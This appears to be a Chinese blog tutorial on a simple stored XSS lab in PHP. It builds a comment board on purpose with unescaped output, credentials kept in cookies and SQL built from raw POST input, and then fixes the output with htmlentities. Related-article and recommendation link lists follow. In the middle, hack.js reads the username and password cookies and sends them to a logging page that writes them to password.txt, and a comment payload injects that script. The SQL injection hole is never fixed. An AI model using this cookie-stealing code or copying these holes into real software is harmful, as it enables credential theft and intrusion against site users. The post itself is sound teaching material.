简单XSS跨站脚本攻击实验
原理:恶意Web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。
大概流程是,建立一个用于发表评论的网页,然后XSS攻击者通过XSS漏洞进行攻击获取其他访问该网页的用户的cookie信息并记录到攻击者设定的文件中。
首先,我们得先配置好PHP的运行环境,这个网上有一大堆资料和软件可以下载,我这里安装的是wampserver,同时为了方便操作安装了MySQL workbench。
接着,搭建数据库,用于储存用户的评论
create database test;
use test;
create table comments
(
id int(16) AUTO_INCREMENT,
uname varchar(1600),
ucomment varchar(2000),
primary key(id)
);
用户登录界面login.php:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>登录</title>
<style type="text/css">
#login{text-align:center;margin-top:100px;}
</style>
</head>
<?php
if(isset($_POST['submit'])){
//设置cookie
setcookie("username", $_POST["username"],time()+3600*24);
setcookie("password", $_POST["password"],time()+3600*24);
echo "<meta http-equiv=refresh content='0;url=home.php'>";//跳转到home.php
}
?>
<body>
<div id="login">
<form method="post">
<p>用户名: <input type="text" name="username" ></p>
<p> 密码: <input type="text" name="password"></p>
<button type="submit" name="submit" style="width:60px;height:30px;">登录</button>
</form>
</div>
</body>
</html>
用户评论界面home.php:
<html>
<head>
</head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: 1px #ccc;
margin: 4px;
}
</style>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">发表评论</div>
<div style="padding:6px;">
昵称:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
评论:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">评论集</div>
</div>
<?php
try {
$dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456');//连接数据库
$dbh->query('set names gbk');
$sql="SELECT uname,ucomment FROM comments";
foreach ($dbh->query($sql) as $row) //通过循环读取数据内容
{
if($row['uname']!=null){
?><span>-------------------------------------------------------</span><br/>
<span name="name" style="font-size:15px;color:blue;"><?php echo $row['uname'];?></span><br/>
<span name="comment" >
<?php echo $row['ucomment'];?></span><br/>
<?php
}
}
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
?>
</div>
</form>
</body>
</html>
提交评论至数据库中list.php:
<?php
$link = mysql_connect('localhost','root','123456'); //连接数据库
mysql_query('set names gbk');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
echo 'Connection OK';
$name = $_POST["name"];
$comment = $_POST["comment"];
mysql_select_db('test',$link);
$query="insert into comments(uname,ucomment) values ('{$name}','{$comment}');";
if (!mysql_query($query,$link))
{
die('Error: ' . mysql_error());
}
$result=mysql_query("SELECT uname,ucomment FROM comments");
while($row=mysql_fetch_array($result))//通过循环展示数据内容
{
echo $row["uname"] . "<br/>";
echo $row["ucomment"] . "<br/>";
}
mysql_close($link); //关闭数据库连接
echo "<meta http-equiv=refresh content='0;url=home.php'>";//返回home.php
?>
攻击者所用的脚本攻击hack.js:
var username = getCookie('username');
var password = getCookie('password');
var script = document.createElement('script');
script.src = 'http://localhost/test/index.php?username=' + username + '&password=' + password; //保存数据的页面的位置
document.body.appendChild(script); function getCookie(name)
{
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg))
return unescape(arr[2]);
return null;
}
hack.js传送数据到index.php
<?php
if(!empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password']; try{
$path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
$fp=fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$username\t $password\r\n");
flock($fp, LOCK_UN);
fclose($fp);
}catch(Exception $e){
}
}
?>
然后攻击者先登录该评论页面,然后发表包含如下语句的评论:
<script type="text/javascript" src="http://localhost/test/hack.js"></script>
则当其他用户浏览该评论页面时,这段恶意脚本就会执行,从而执行hack.js的代码将用户的cookie发送给index.php从而被保存到攻击者的文件中。
如何防止这种攻击呢?
上述XSS攻击的核心是利用了脚本注入,对用户的输入没有做出检查,信赖用户输入,因此如果我们不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题。更简单一点说,不要直接echo输出,换成用PHP的htmlentities函数将所有的评论不是以嵌入HTML的形式,而是以纯文本直接展示在页面中,这样无论如何都可以确保不会修改到HTML的DOM元素,而导致恶意代码的嵌入。
修改后的代码如下:
<html>
<head>
</head>
<style type="text/css">
.comment-title{
font-size:14px;
margin: 6px 0px 2px 4px;
}
.comment-body{
font-size: 14px;
color:#ccc;
font-style: italic;
border-bottom: 1px #ccc;
margin: 4px;
}
</style>
<?php
function ReplaceScript(&$txt)
{
$str="' <script[^>]*?>.*?</script>'si ";
print $txt=preg_replace("$str","",$txt);
}
?>
<body>
<form method="post" action="list.php">
<div style="margin:20px;">
<div style="font-size:16px;font-weight:bold;">发表评论</div>
<div style="padding:6px;">
昵称:
<br/>
<input name="name" type="text" style="width:300px;"/>
</div>
<div style="padding:6px;">
评论:
<br/>
<textarea name="comment" style="height:100px; width:300px;"></textarea>
</div>
<div style="padding-left:230px;">
<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
</div>
<div style="border-bottom:solid 1px #fff;margin-top:10px;">
<div style="font-size:16px;font-weight:bold;">评论集</div>
</div>
<?php
try {
$dbh = new PDO('mysql:dbname=test;host=127.0.0.1','root', '123456');
$dbh->query('set names gbk');
$sql="SELECT uname,ucomment FROM comments";
foreach ($dbh->query($sql) as $row) //通过循环读取数据内容
{
if($row['uname']!=null){
?><span>-------------------------------------------------------</span><br/>
<span name="name" style="font-size:15px;color:blue;"><?php echo htmlentities($row['uname'],ENT_QUOTES,"GB2312");?></span><br/>
<span name="comment" >
<?php $new = htmlentities($row['ucomment'],ENT_QUOTES,"GB2312");echo $new;?></span><br/>
<?php
}
}
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}
?>
</div>
</form>
</body>
</html>
简单XSS跨站脚本攻击实验的更多相关文章
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- web应用程序安全攻防---sql注入和xss跨站脚本攻击
kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- xss(跨站脚本攻击),crsf(跨站请求伪造),xssf
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- xss跨站脚本攻击及xss漏洞防范
xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...
- XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)
转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...
- PHP漏洞全解(四)-xss跨站脚本攻击
本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...
- JAVA覆写Request过滤XSS跨站脚本攻击
注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...
- PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)
废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...
随机推荐
- 详解JDBC连接数据库
一.概念 1. 为了能让程序操作数据库,对数据库中的表进行操作,每一种数据库都会提供一套连接和操作该数据库的驱动,而且每种数据库的驱动都各不相同,例如mysql数据库使用mysql驱动,oracle数 ...
- PHP语言开发微信公众平台(订阅号)之注册
1.百度搜索"微信公众平台" 2.选择微信公众平台官网并单击打开 3.进入官网页面,单击 "立即注册" 进入注册页面 4.进入注册页面,单击订阅号 5.进入订阅 ...
- USB PE
To put WinPE on a USB Stick, you must first make it bootable. Warning: This will destroy all the dat ...
- 用js写倒计时,向列表添加数据-------2017-03-21
一.单选按钮确定提交是否可用 <input id="a" type="radio" name="a" onclick="c ...
- Android自学反思总结(中)
后来在导员的推荐加上自己的好奇心给电脑装上了Ubuntu,因为Android的内核就是Linux,导员想让我们及早接触,及早熟悉,这也是我后来一直冷落Windows的原因,装Ubuntu的过程是艰辛的 ...
- 关于binary log那些事——认真码了好长一篇
本文介绍binlog的作用以及几个重要参数的使用方法,同时通过实验来描述binlog内部记录内容:row .statement跟mixed的设置下,记录了哪些东西,最后会简单介绍下binlog ser ...
- android使用TextView实现跑马灯的效果(1)
android使用TextView实现跑马灯的效果 1.activity_main.xml <?xml version="1.0" encoding="utf-8& ...
- windos环境apache+mysql+php+Discuz的安装配置
首先是相关软件的下载:PHP.Apache和Mysql软件以及VC库.相关软件可到我的百度网盘下载,百度网盘:http://pan.baidu.com/s/1o6DYcMu 相关软件的直接下载地址: ...
- Web移动端的常用组件库
normalize http://necolas.github.io/normalize.css/ 最受欢迎的css reset 保留有用的默认值,这个区别于其他的CSS resets 标准化大范围的 ...
- CodeBlocks常用重要快捷键大全!!
CodeBlocks常用操作快捷键 编辑部分: Ctrl + A:全选 Ctrl + C:复制 Ctrl + X: 剪切 Ctrl + V:粘贴 Ctrl + Z:撤销(后退一步) Ctrl + S: ...